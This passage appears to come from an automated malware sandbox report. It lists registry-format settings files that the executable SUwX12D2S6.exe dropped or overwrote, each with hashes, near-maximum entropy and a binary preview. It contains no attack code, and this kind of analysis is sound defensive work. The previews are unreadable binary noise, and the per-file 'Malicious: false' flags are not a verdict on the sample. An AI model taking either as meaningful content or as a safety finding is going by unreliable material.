Entropy (8bit):	7.978198620260343
Encrypted:	false
SSDEEP:	192:o0agf3XrNsfGuxYqN6/c0AjCYLMtVNpLFIj+M2ew:zvpSzYqN6/c0Aj5LWM2ew
MD5:	7E0966270BE289E0425051E161663CD5
SHA1:	D6F469C32393E0D008FEF9D4C3DAAA299C9D01ED
SHA-256:	88E3FEE5B5232047568D0236FDB6CC2608DA4431DB17958A8E4E66F8B5A27D74
SHA-512:	12E6302ABE2ED9B3AEAA199E4C13DA23B4D91AB31D14A088749E405FDBDF1ECF4F6073697A9B27C7499BF2887F3611A796CCA5D4BEAE246423E17AB57F099F99
Malicious:	false
Preview:	regf....].....M..E.6....h....5.~..:.1.K.1[.}.2.+.....M...i.....5.{...0........:`..}.M.7..........k......[.....?.Ry..@k.J...+...f...m}.C.PM8z.s\|.q.%....F....WL......n.(.>..C..\|....'.e$.T.:..8r........)s1..O.X2P.. ...CJ3.:....@l.KT.8W...Um..8SV........zP..U....r..x4}.?YFSa1Ma..H)A...1...i:.t..bl.j.f9U.$xo.+j(...+..R.q...J.k....h.="xt<......Er....;..G...V.x.3....`..y..&..9...M@./.<...4.x.....a..C......xm../.4v.!....?mr.lOX:o9.t......%....Xq]......*k.Y.....C!.....`.EI."..9C65.j.`..j...3.=..\F.....L....k;bo...Y._h...;..#Ou......73k.f.J%.....f.j_.^m..,zw..A.\W....t..,...j\i5X...ce'.4.......O?wn .}..{.f.......F.@x<.....".i...C0r......nB....G%..g.z.z...H.....]....B8...>.u.K"]r;..?...V+.LW.......S.hb.!..&..U.u...:V$....Y....<...C...X#h...............J.I...0.w...2<A.1O&:g.W.j....[.e...%......UB.=..]oE....]0.X....$..&:>.v.ot.#f.._[..s..l....G,.....!.f..T.q .....wN).;..9s5..71.O~.Y..o..#...Q.{..Jr7...G.\|.\|?S..\|\I.....Q.....io#.@.r.X.....1...P.~..W..

C:\Users\user\AppData\Local\Packages\F46D4000-FD22-4DB4-AC8E-4E1DDDE828FE_cw5n1h2txyewy\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.9746149582657715
Encrypted:	false
SSDEEP:	192:eTavKwM/8ebNRve1zoHLp3cLFrekeo5te0Pb3HlujKkEiN+:e1T/86epoHG9ekjPb3HlklEiN+
MD5:	6D01F0E93443251DB763FB2FCDDA6632
SHA1:	90CA41D1FCB108700C7BB253751B22078762371A
SHA-256:	EC301C76BD77FFAE362C40470DB6741342EB67CDACE092199C8F3CE4920AFB28
SHA-512:	A178FA2C2BA5D7364942C99E7990278525189FFE0F5A85068EE28971613E30A852BD4EC8C4FB873A6152133CD54CE43A64A8B77105319E110608FF46F5D0148A
Malicious:	false
Preview:	regf..m%....hC..!.Jj.5.%.\.f..S..d/...}:$..+..;j.x.......%.......O.}....(..!.8#.V........PP.ccn..2fJ.X..n.>E..W%..VI0Y...h....r;2.]....b0X....0....dm..E.....9...mm,z6e.F.K=..%!..}qQ.N..H..&..4)...3.......~Q2w.Z.d..bmZw.k......=Da@...+..pP...h...XX...-...Wc.E.}.jN.U.cL...t....[..0.X...Pe..;..6..7....t...gg..Lh..x..[.......V.g-.......-.y........T...np.0...t.......c........7).....VT<i........F.jY......uZ..].....3(..#.0'..O..l.H.E..!.7..tv.{.:y..-.....P..n..`...dd...CS..K..S....@B...C...x.O..9&^..4.i...iK.h!..L.SV..w-(..S.'....7e....}.]......S....4...$?7x.....X...-.y....o/.N.,(.n..1.Z@^.OCh..n...B...X[..7.......UH..s.O.X...3...1..........'>G....%...~Q................Do1...N..S.....Kg.f..8>p..R.}5.R.J.;....Y)..d...(._.....{FuB.).o.....)..Q.6........l.2..J....Q..\....'p&uo~.q.....p.Y.Q.....M...v.}U:4.. ...<...M9.dMS.K....=j. .$..8..=eK.us..7.Z.D.r5Sp`.=.h..*.\|s..S.....Dzi..;.......^3..7..r.../F.rjz?.......;.n,H...vnc.i.c..Y..s

C:\Users\user\AppData\Local\Packages\Microsoft.549981C3F5F10_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.977774742248699
Encrypted:	false
SSDEEP:	192:oTsrGPkF0n4oq0egFoiaQ3eiW2zzXeerD3ix9RVNqL+OgIvk:oorG8WXFoiXOJAXVH3iFVe+OPvk
MD5:	36FD851D27235EC84D99A5D9734D96D8
SHA1:	F054CD7FF932D91D736BE00EC9D87B18A0590CD9
SHA-256:	10F2B06AE62999F12F2DC30A4B3BD13194D8DD7F72632C3CB8712D8781E41B5C
SHA-512:	5AB2434A67F885A560FBAE4AED1F28FB2B0A48F54C160D62610A208F333EC190C1A99E801674A624C794855149B72A1B20E575999018946EA21AA3185ABA0E51
Malicious:	false
Preview:	regf..c #3.{..Wq!...&..&..j..........0>...?. .Pc.....1.a...o.{..}.....,.y.N.~....@..(.........).........^#.lJ...(...H".H.Egs...1...qM5.Q?<`.\|.t....>'.4'R.ev....c;..z..cE......!..R....+h.nl.c.i.kZ......!.qW.T...<#i....g/...X.8hf....<....[.<C........e...\...i7P....]I.;.Y...i.".+..^..........D..].....B.........%.bP....]Mp,.W;.zLy.cpz.qH"....F...?`...z..La.K..V..WJ.....u.g8!'BM}.D.. 9v...j..i...%._!..........;.+..].#RG.....`........k. ....I0K......>.....o.......I..a.....)..S.`.."...SW....../.>i.R..&l!.:X...t.[..GF...H.xD-..4.o.>..E"93.QC....4....wt...ft.A5..O)$..].].l..`.....j.<.)C...0...+M.h...<. F.T!...\.).{_.......-.xYX.c.D}.k.....m..TI/..:TU..-.0.\..............PM..)e6T......eQ\|._.-..{..).?.P.......j.g.t..........9.E...d.>h.>...:>R.....C....5.....'...>..f.Y-u.4.QU.K....O.5.zi..g.!.@).H.'l...8`..b.....^..8.d.~.C,.Z.j.Du..^,.....V...2..%...Q.[S.....v..o...n.7J'..........,W..7...z..SBhf]I)...E.S.&.....Z"...s..ZA........mb....eyD....

C:\Users\user\AppData\Local\Packages\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.976605350650715
Encrypted:	false
SSDEEP:	192:DoXi9cI8C6Y3t7kTppDjQ4rBiC/KaJ8hvzaL6cpD1OAInKRzm8:k+jt7kt64rBiC/iZ+L6cpBOLCzR
MD5:	68E4BC8C868AE0244B97388F5C80BB90
SHA1:	7E4A10314B04E477083A0E4DF9F31430AC4AC363
SHA-256:	A76DB63460968D7904959B67DC44002160C058EA29E2E6C9BF6D5A3B7782347E
SHA-512:	A15AC3A619DE37EAEE6AC98778E959D132B0F0A6572C92B5142FE9E81FF8F21F35C8C3939617136930CA1589D1463BF69D51508AA0A077023829877D7706DD41
Malicious:	false
Preview:	regf...B.'>.....N..f..U..V1.Um.p......C.Mn........f.6+&w_..=...-I....S........Z....e..h'...8!V....N/%...o...ty.#...-.....<c.Y.,.,\|.....\.....y.4]/(..f.Y..[\.P.H=0........z..\."m...p.....N.f.B..5.Q.B...1sO.M.ph..F...@.....d)#%[.}.~.[.MJ.h..Dbq....C...9M.=.R$.v...J.../.t.T..H.K...(.-.%..T/...i.._R..:..8.p.....8:/Z.#l.g@G...qZ...7B....=...,i.....e...s.D#.e."d6u..}%..F...\|(.;n..x_.I.).Mn.\...A.q....!..g..O.;.1..cwhs.q...&.....5-$f..PZ.........../N.^.a.T..P.....g.....r..K. .../."5.......M.......?#..x.........O..[..x.cC)9R...N>\..ijM.....e..!..5.px.......Ng.}A..bd..qQ0...}...N.+.\....!..z..u..,....+....).3..m.tr+.........x.v7..p0.-..ul..o\|...1Dm...Pfha...y.Q...!...H.Q.\Y.../...h..q..r'+D..ji..H.F.S......yV..Q..e#....G...@.u..a..WQ.U........m..2...C.u..W>'L.B(ZNO..F............zY..E.i......w.5.B.C...lq#..H...~.cQ...y...+....f.,...M:.K....oS....o1.#...^y.~.?)....6.....3...4..Sg...NA]W2...`k2.=...%..B.a.....W.((...U..j.F..$b..n.~..e.....#W

C:\Users\user\AppData\Local\Packages\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\Settings\settings.dat.LOG1

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.978381253158546
Encrypted:	false
SSDEEP:	192:ed5K3Brh42zIdUGc8sLzsuVj8XS4ZdC8Zb9MOy2DEKcU/CT:OOBGgIdUXHL9mDs62wEKcU0
MD5:	4548CB2F44CA0AA5D6787A6DE4E3F112
SHA1:	B99C603495E3C376100CD9C84060070E5CBEABCC
SHA-256:	7BED0D9B39B4B96E7965F98652A3EAF3CA97890B86995D62668653775D868A44
SHA-512:	A4EF8C7F945ECE0C630DC014FA3E9E087982CF21372285A53C6E989D492946D3CD0E93FEC2FEA058FF01476A64B2DDEFCA5A1AB66461A3AE03B9F63C1F3B88E0
Malicious:	false
Preview:	regf..X.....e...x....W..XV...F./..[...Y.b.....a.B_.zj....l.d.....6F_.2.X.K......2.%.......ox.h,.S`..OV...y5..>6..1yR.....-,@.U..Y..8r.......%iHZ3..<_%.Q...>)..0<6.LA.p<.....4.....$p.H?.y{.....d...U.LgB..n..u....Ao.....v.....w.....)k4M.@k..w.....X/..gf..OT.....x.......J.s.k..)....zyt..ew.).......h..(.+s."2(i...c.5.....q]...%[[u:.B%......@.U..<:.D..k..Qi. .p..)...n...I=8:.d.o.....AKB..Y.x..".0.)..=..P.....XR.:.p .....,.A.....Y.Z.-...5.CP..=5..'vfk.9...U.K..>..V....8]....__[h....Y&...lb.K\|....>...n..p.S7.].~..._..k..#....:....$........t.\......O{.......!.bN.....7N.O./....(..&N....i`...].u#.hD.B..9.e.C...b.........t....U.f....''.DWy.H....?..]..\.>u=+........\f\.."G....Kz..+B.kb..h>%A...............".]%C..Z=...n....I.....e.-8z.M.EK%!T.4.K.5.Z#.LQ.,5.R..8.........d.h=..5U`m..j.@.............j..M......>?....\....Q....I..@..O....J$.>!.C5.R..KO.6-x........L..;.?J..6.vW.i......?&.Q..1:....F6\|.G...E....%ww..WW[7.,.%k....:....W....5dq...P

C:\Users\user\AppData\Local\Packages\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\Settings\settings.dat.LOG2

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.97850320740589
Encrypted:	false
SSDEEP:	192:3RVjjPjGr6sgGGvdWaHHxaW9cXkJ6AnT7L+b+rnukw4u5vetU:hpjLGz299jJ6QbukXu5vj
MD5:	6B05F92473AC8579A0D158C6A8A1D66E
SHA1:	84AB9DC0C4C520AFB4D94C5F591210F4AC4206B1
SHA-256:	ADDD58BDE1D94968249410492606412BF538D2DAFA8EFDFF6FF1512F4E8E242E
SHA-512:	51290FDFB956BF34507C277BEB76171E353AAB0E1723BD53FBA53B14610059345FC62CFF3C8D0B2486A2C1C496AB869B2CAA5DBD01FCC0BA14D5809137C6B5BD
Malicious:	false
Preview:	regf....R=.5$.V.....!T.f.=....k...?g`.t. 4..Q.}..#.`1.]..e......W.......%A.x.0k...=.^....k..+@.n.w...3O.. L..O.H\|...i.yA..0...RB.].^......G...'j%A5..aJ.......+}gW.....MN....LK7cz..\|.CD~..;..Q...k.......1o...1Hd...M.1".B...BL....V...p.~\..;}<.M..."<...;..i.=.fDt.....!..Mp.#]..).B....g........S..Kin..;G}...\T.F...;H[.+^(0S..(..1......\|../....".vg.....e..n...1..4....5UWl.`?..D?._...?!K...F...o..Ik$g...U7/)Y.......tO.....V.u..>.d.-2...5.....c.Oh.C.I2..a.=h..O...9..dS...B.E.d.\|.>...2=@..h...P.l.Zl.a.......P...t.b.Z(....j..11..%.. ..QD.6B.?...V".$.......l......Lg\|tYZI.lws.G.H..y3.oK....A.. .-......c.;L..Q..0F.,3._..%Vc.cDG.../..A.....8.[z0t'...E.vu..f.UX.....J.h.1k.....E....7.%.-..5..Pm...$.bk0c..c.9x9g..Dl.+......!......#.,,r.zk..0...#X..7.I.A.e...;p.5&....\..T ]...!B2.N....... .B.)1..0.Je......xP../...8L...y..2..#.....1I.\|.u'.......F...]..)..SG.C"]..Jz..J~.-5 .x.F..,...0S./.h...hWr`.z.r.... .........R@..m..&V...x4..L...\.[b.lG......c..

C:\Users\user\AppData\Local\Packages\Microsoft.AccountsControl_cw5n1h2txyewy\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.97875991807914
Encrypted:	false
SSDEEP:	192:J8bnnwbnOCoLfoxisPwmtgAn4mgJSdwn0447:Sbk6zSPzrOJSrX7
MD5:	B72F8A2F50EDC85A465A356F75F49CD4
SHA1:	3F3FCC2F21205B984E38C8FE4C68C0CFD8B2D0B4
SHA-256:	D64154B417ACB03BD7D1D98403B09BB972DFCFB39DB391F599F93440732FA7D5
SHA-512:	E9D6A107340E287454D2CBDC2B4EB83F6F9D16FAABC7C5D44BAAD1780A42FE93D2A6471F90F4A5EF01A3722E86671408FD75B94AB80442E39FE764459A106189
Malicious:	false
Preview:	regf..q...hr.V.....C...g%S...R.T.3....B..v...\]t..Z.@\l..........1.i..\|...#U.9....B].~.`'$2.....]..~rd...y...t\....9..\|k..H.....T....n.i\$A%..~..x6..\?.[S6y3..?....d...h..gUmi\|.3.OH..Q...E7..B.....P.%O..g._Xx.M..gz..........?..3....nb..t...m..).)......\|Sqj~!@=..b'..+.gG\.....$D. .J..&.....m.dA.bvJK...#.snu./. .......a"..C...G....."...0e.,V.....J..~....4Po......`Y./>.,....;....bR^.}..;.$0._hw.".F&.o...[....1..Y.....Y..G...6<..i.\...v,.x.q.%LT..;D..j%7...h...o)#..@.v.....n..C.c..:....qRC'..U.....i.liG.......?.OY`....>..?... ....e6s..e. ....2...D.E...'..+..zR.$DOh..v..2...._!....3\|g..%]....0E.o.0.c......H...\|..GB...G....1.:.v`.v.....Y..0..]c$LHv..&.F.~...a.x.Wo.4...:.P....$.!,T/r...>)....!..(..~..lU<.:..N.pT..xc ..%.Wv..AL..^._c.._..X.o. .t.........S!.f]............c.?........g].,.=Ix6.....(1!.R...xb..)D;X5...Op%..x6..\...B..^.r.....(.2Z.#{o...paH.l9t8"Hnk..M.C@../....Z.p;..._.;..~....a7<.sq..\..qw.........;Y3p.......!.8.!/.#...@..

C:\Users\user\AppData\Local\Packages\Microsoft.AsyncTextService_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.978250268874249
Encrypted:	false
SSDEEP:	192:/CEBrWEvW5PtzQd+3ZGG+sHg0OLRxF408xpTdhApM5Nk8Jec:/CEBrbgpz3ZGG+YrOLRxFgLTdypcl1
MD5:	26810E5FED1E7B04596EF3C8432F6C9D
SHA1:	6F4FE70633042369BF276981959EE27E660455B5
SHA-256:	8158528D68B9A1354985C5BABFD99819926019651D7BA9170C00355587A67C8E
SHA-512:	FC46856EB4A4C62DF62DA2BACE4FFB4DBFE0AA9181A3DCF350DB584E681B975BD37530E0F521FB92E3B1C9C5EE37AD1A7B9ACEE06310B5007036C59EB76CE08E
Malicious:	false
Preview:	regf..(.'z.s......f..[J.;.0.r....At\|.0\..0..>,kz(.T+......Q....cWr...P>-...DO...'.....z.a.Q.q.....h.E6.<He.2.A....b..m.`"..O{...q..-l^...A.......T._A...w\.../.FW...@....5.E..L.zlw.7...N...X.~...9!nL.i.....+z/7..^...x..T.1...C].$...J.4...M......L..M...&..(zz...J.T......>.y.{.....X.J,.S.u..v..>ZTY.+.......y.B.2P.N...SiYZ{8.X..\.9....r.L......?.W/2. p..c.CU..'H.._.#I..B...b..e.T).w........Z.h+9.\..\|.T.......+ .p.d...O..x...........S6....3[.......,.?r.Y?..Gl;K;J@.k.;.2.E{...(..WC...t... .k.b6..5"..@.....:/.\.....g...Z$.f..-.,. ..d`.m...U.HD.....&.W..PV...T<..@..MssJ...J....+0.7.....H.s..#...f?.+=........%.46...)..<=..&...`p.......8'3......o...0...<m...M.....0>...+.$.. 2H1q..t...........=.f..g..d...:D.<.E..t.9..m...SuC..!g..[]x.1...~..Q...U.H...2...f.....uxD.OC...q..<.Y..x...z]s...]...f..(..A...~,J_e0e..v0z.xu`..4.[T=/.....A.vWA.c.~Xn.v...Mz".....ch..4wy..y7T.F...f...<Z..B..\...2;..o&gaE .FU.....e}....a..\|/H....?.T.......y..q..bw.-....[.~

C:\Users\user\AppData\Local\Packages\Microsoft.BingWeather_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.978893972764182
Encrypted:	false
SSDEEP:	192:4UsMghrKfWcEXbti8nIZCNVWxnTOe21H0VSyfV0YUNaZ3xKXii4CNHOg:7sMgcfWcAbti8IZkoxSD0oUe/NaZ3xKn
MD5:	780B57C85B2A8F4028C23C8AF84B1F87
SHA1:	FAFA5C4EB34A3C65C957C303A98063BE5DC3AF15
SHA-256:	DB8F381E2D6344B0303CE3827855807C4CC30F0DEF644883C39BE454FE66A29A
SHA-512:	3E8F6B3A367AE0241AF9FAEAF285565E1B3BF93B4919062880D4F7E77F0914B57EF9EA8BD8FE6E9DB62EA98640D7230190924DAFA0D7AD5EF63BE1FC6599387B
Malicious:	false
Preview:	regf..+.t..zx..DA.ZVe.6..(...P.OY...c.f..o..BO]../<{.gr.....i.i..Y..4. d.1?8.fy.\..h....K[.......d......'W....F(!.'/#9..{r.....NX...O+6;.M..K.O..0...............n....2....\......F$..X..........oz].JO.....%..O.9..h..M...wz.......6.A.d..5...M.d.....u.E.<....^.TS>...E...=.N/..........&m.....k.i..R...".m...qC...5>..Wl.Y..R.Rv....86Y.....Z.#.sxLv.._...^`..p.c1N.~..g%.\|...6lh...f.....XCZ.G.........dP...V_...:...;z.F7......W..8O.2..g.3.b..3#....$.N....<x..&....r..B.k..MD&...Q.....#.+h.u..+...b..N...Q'g....V..t...`..M..F...W};..\c..{24...N.VM...E..%..m.x...2]g.?...r.q-..z.........H...oJ.V...../....K.........y.]h...n@g....(i0....qk..)yH..W.......'.qJB...Ps.........`sn.......$..R?]7...=.._P..c..<..45..l.ca.q.....C...1.C[.....s?.[..U9...5m.'.Q....#Y.a%S:Q...F...(N._.NG..&...R.I..k.n...pa@............xX6...k$...D5l0B{.*.'...........?3..xV...%=:.B....\X.f.6e-V}.[..U...W.y....9A..~..........H.......C...'.....v.^i_.^y0P@.WC..%..u....!H.....,....

C:\Users\user\AppData\Local\Packages\Microsoft.BingWeather_8wekyb3d8bbwe\Settings\settings.dat.LOG1

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.976356015028744
Encrypted:	false
SSDEEP:	192:pKoF9i6dYRrGoTKC5QEBQEO+0gPuWZxtEdexq1QdOsEjO7bwrcek:5lCVKCSEeAhVbEdex0Q8jOnwr4
MD5:	4580E4CB938D691E56DF05A7578C9984
SHA1:	9F536D832E872DFDCC6E3EB3D62CB2DD766F2325
SHA-256:	0DC955F65F7707BDED4B3BCEA5863F4B93FB96F54FF6343629D30F60CE9A7A78
SHA-512:	0888626B269D1BF59960C2037D4A20AD65A0763B750BB062A7968DEBC94222BB92D0AEB075FB2EDE63FB451554B8DDE33B7B70218444055FFCC9FAB27802FA01
Malicious:	false
Preview:	regf..<o(B..m>'...H{m.H.^..xb#V...n]bA.....5...........GyV.Mc...{o.N..w...8.E...\|.......Qd.F..`...C.f.i<.@"..._.\.R.....d.R.I~9..q..i.i.._.....Cy.:..9..L..%~..:<..<.....>.(.7...ZD...qBp.#.ODp..Q..5.........%..$.\.....]..m...WOK.Qa..(.K../.__2...sY[.-.{.8......b..........j.....SK..XPG...m^}..v..\|W..hs.[8.N..8.,.....!..G....8.j.......M...0..t5Wi...d...4.9...9.>.E7.B ......Z-.......5.6...................J.5....'.LMv.N.ZPk... .(....%,z.]1....!.].=.ZG.F..,.X.,.....m.m....gd.9...C.x.\|..0i..Djk...g.D.&?..s.....w.t.v.y.(. .\|w..............{......L]..P.K..o7B.....q.m..$.z.@2.F,rZ..s...>.T'..f.6.....p...{..d.*.-I.W.!.......O(...{.:9.2.....L>T@....FQ..^.^<h}..Hj....8. X....H0%...L._.u:/-bo....v....=...'..%.S.\|UW.R. ..f.Vd..c.:..h.....L&.D....Fhq8..1...H..<hbR.h<.......E....g....C..C...A'......7.......P.}.8S...]_0q..\|....mc.z.EE._,T..-a.j\|..F.....{n.B;.ht...........8U6..LN.C....%.{.C ..TPENp.....1F.).I.9....tV.#-u>u.=E...x?p.J..1.#...T...

C:\Users\user\AppData\Local\Packages\Microsoft.BioEnrollment_cw5n1h2txyewy\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.9788052776398395
Encrypted:	false
SSDEEP:	192:srGWEb4Dsz5sSHvsjvYc8pCdIOjoM9LRABAx+1U5YX:uGWEbwUc3qlMRWBud5+
MD5:	A813B4A649ACAE154DB105ED9F531826
SHA1:	18EC351AEDBF99EC2A64CABA2B4E7DFBFC05DA24
SHA-256:	97EB6AE880192BEC9626724733EF5737663E63EBE86AD8249594F50DFCCA72DF
SHA-512:	11038BBE69CFB0B29BB57B41EFB2270220A0F3952D22DDFC5DC730A20751F8275EFBFAA8301BB50035EC0074C2D8B682B969080263E6E2681862FCFEBDB2FD57
Malicious:	false
Preview:	regf.]HF.H.9.....4.../#.tq....5......0h(.........N..t........(....."..l........8.B...KY.he.\|e&.QG.3.70..@...=w..y.2_cf...yS....1?.....F..H....Y.].)o..h...4P..{.y....P......V@n......"y.-.]...R..\........Bi..{a.....18A.......%...}.....i..&...i.F.(..:.Px..T..S..l......p...k..!F.1..4.,..D.i..0~.H.o..$..O.\|Ia.x..?.a~qsA.....S..Js.Y~.\| G.{e...~....X.....3T...'.5S ..6.0D....x.h..5d. ...vS....9.&p..dq...;....,.:1......b......E...`.J....G..R./..sv.[L....l.I%....k.k...W.9....P.K.....S.\.d.@p{. a..o.>.f.I.o./...#....f....c.<....=_......i..!..YJ...y......y.n;`H...f.....g....?.~.Tz...0mX1b.f.KW{..G...X.A.r.T....a.9..8..,.....C..........q...{.:..}..9l.1....x%.yx.xa..B.I^....U.D.9....<..'.........j.9..AZ#.....N)^.(O.\|..L.....m\.Y....qv.......qz.[u...kV.D#A..'.....`..WLSe..N.z.......,......v6fY[..^...wo.C...%.h..S#...S.b9s.\..iYg:.,@.Ct%2,.../.g.+G\|[....2=.S.......%s..s.e.....K..3.n{.3u...r}.[b.*-6.......-...wM.k..+.uR..~...G.%.tq..ZI6.Rx\|.b.....F[....$

C:\Users\user\AppData\Local\Packages\Microsoft.CredDialogHost_cw5n1h2txyewy\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.978731692743928
Encrypted:	false
SSDEEP:	192:lf7q+YFreMioSW9pvUKIFQDAmbIyn59aPyfaxZ5:lf7RYFSPB+pvUc0mUyn/qZ5
MD5:	AA2A3175F735E5EB0041EDD9FE6D19C2
SHA1:	4C1350EFD3A6AEE92115B6DB795953A3D596CFCA
SHA-256:	F2BA619D9C1ECEFC38C75F34C1D677D70EB15F81A2EED60855467985F17E5881
SHA-512:	33A8342B39A0B2E4E528F6E914C74116F83F59650F7B89DAAE20F689ED243B732336B5D2B55E70ED47FC70E389CA03EDEAEC0431DCBEF597F8EE6C0DB231DA28
Malicious:	false
Preview:	regf..r:.........=9.r........o;.^.%.;=~.f...IW.X...%{....z.D..cr{..~..et....Hm....,.4.1X@ah.... .6/..-.9...../...B.&.$....NY..w.uJ....I .......4...P5F.$.Vx'..}.-N.......+C...Y.1.WEPt.....H..k.NS.}....C..QG.N.qk......9....._.S.r.`..,.?..m.m.?kD........G..w.......q...%......A.S.t[..).K:.C.......2..4..9/...].B...B. ..%.pS)_. ...}...;.f.<...q...D.........X.].+M..M...{.E.{.........qSd....>.......G9.j8o.:... ..\.8..l....M.o..v...[.G\........_...@...'...../*..e\.2T..{a.D']~LZ4.7N.QI.....SX....R...I].........W.>y^%...k.....U....$...4Pv...c0....k.3=.o&......#EqZ...4...".,i..V4.s.uZ......{Cs..7..K.h.?........C...uk.T.4..n.?...4+2..,....fF..w.n'.1~.}P..BXd.y..c(...x%4.A......p2.......i..:w...Ti.0.Uj..I...>..'.......Y.d.X.E}...F......YP..El.......N.......Y.v.!JQM.<.(.p.s.AD.}.U.1$..5....$.L...<...n.>J.#D....0.:..+H&?G..).[.(..r.-RNAW.FQ_..0.)..3].....@.T....?.^..5........o..C..$...?l...P.@9.+....m>....'#6#yZ(Er......h.DQf..;k8..Z...Qm.'

C:\Users\user\AppData\Local\Packages\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.977529528538189
Encrypted:	false
SSDEEP:	192:n7mXpg3S5jSrjNenAkkandtT3G9v5z2LMJ1GQCZn3OH7bWw1h:7mZscnAcdBwv5z2LMJ14BOvWY
MD5:	60C1EEE5917E87AAE27D0F034714EAB5
SHA1:	9878D538F981A8F807613CE405C30DFA6FBBAE6B
SHA-256:	118DC41045E94F92EB74F38C88CE9D6869F82CC606D73150D9E815BA35388E4D
SHA-512:	9FBBDA14AAE8539C62AE4BAFA142D0B72C2E5C7F9C9492AFD47E90D92EE2A561DA4EDAFEF7B12403866AA925C6008754F4A1D5E86AF696150715A5C73E08E237
Malicious:	false
Preview:	regf.z&..\|...j.U(.>B..T..Q..J.....:s^4...B..U..M;$.`....Tj.<....{.xW..cE.....e....]...G.<.Y.....p...g...7.."ch...;....b."./-~.....l..qw2.'...Y'1......Jl-...7Z..Ad.71.a.!f..F..Ew~..q}Ase....G..]..t..........oB....a-..Qe.j..B..e.;..I....=..Y~..4.5../..;.....G.X.$..`~.=.Yo..J%.}v..ypZ....y2...$..dc...&.!.$q..H...o..Mx..7'/C9......d.....L.#..R....T~.V.i....@.d..$....6a.[....#.$"..d..Tg......".i..Q..$..P....L.l.}0"w&...]dl..;../G...nM"4fL..6Jq1{....~w?.}..xf+.SX.C`......A.V.e....D...............W`uZ.HX.uy.(......*.v..r..u...x.....R.\H.e..ylh.].......u0{~V..z.t..?,.Dr.J._d3.8..>......:.......x....m......b...W......E...v!....?U..rq..UYY......5.}3.f.....A..3N!....!.U.H=..u../FtO=....../ml/<<pvj.X(.....8>N.../<O-1....Yr...n.X.l^.........GD....g..S[.G.AgI.N&.B{c...................&.Xk..._...........X.]a..`...U..8k.m\|......e.z......m..g.....,..[V.8.+..q>.x..v.n..C.A.}.:%..V.....J/$....P..6.`5B.CM.b.<gYkQ9.\|..........0{.x+8-.m...K.h...{...:.t....;.

C:\Users\user\AppData\Local\Packages\Microsoft.ECApp_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.974646620171448
Encrypted:	false
SSDEEP:	192:5Xrl0j4s8tYFii4/XzRzuQDhr7/r6eh8m8KNi0xdfTfkzMLj:trlcjR+VzNDhD1wtwdbfWY
MD5:	C806604565DD656A2B9E697CDDEDE33D
SHA1:	CBAD80A9B8B507C86A5804CB6647B5EF01CB82B9
SHA-256:	866AB859366FA3FB3D03F54A143CF7D577687334FB4BE6F2D9E27C328C0421BB
SHA-512:	6B6894105C2068F8F9A4EA27590B26D91E13A21C81CA0D9D67FE5478D80050C02CD6CA50A0C9D3A68400B7CBA317D7A90E5E963754475CFFF46A82F1FAD9BE54
Malicious:	false
Preview:	regf.).Lo......#...xt...l./.].....l.Ql./<.<..d...y....&3.-$#.N.Y..'..P.....M-8.U\|..M...-.K&...%z-...r+.....38....\|...P.ZO....^I.K..3U)u<.....<-..C...Q...5.......w.....t.. !......I..:.o..j....X...0]....,..).zh...[E.;.[/R..Cw. 